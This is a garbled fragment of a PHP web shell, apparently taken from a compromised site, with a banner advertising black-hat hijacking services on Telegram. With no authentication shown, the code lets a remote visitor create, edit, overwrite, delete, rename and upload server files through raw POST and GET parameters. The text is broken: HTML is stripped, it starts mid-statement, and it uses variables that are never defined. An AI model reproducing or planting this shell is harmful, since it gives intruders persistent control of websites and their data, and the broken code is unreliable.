上传好啦
" : "失败了.操
"; echo $message; } } function handleCreateFolder($directory) { if ($_POST['folderName']) { $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName']; $message = !is_dir($newFolder) ? (mkdir($newFolder) ? "上传好啦.
" : "失败了.操
") : "Folder already exists.
"; echo $message; } } function handleCreateFile($directory) { if ($_POST['fileName']) { $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName']; $message = !file_exists($newFile) ? (file_put_contents($newFile, '') !== false ? "File created successfully.
" : "Error creating file.
") : "File already exists.
"; echo $message; } } function handleEditFile($filePath) { if ($_POST['content']) { file_put_contents($filePath, $_POST['content']); echo "File saved successfully.
"; } $content = file_get_contents($filePath); echo ""; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "File deleted successfully.
"; } } function handleRenameFile($filePath) { if ($_POST['newName']) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; rename($filePath, $newPath); echo "File renamed successfully.
"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "Current Directory: $currentDir
"; echo ""; if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); // File upload form echo "黑帽劫持技术TG\n"; echo "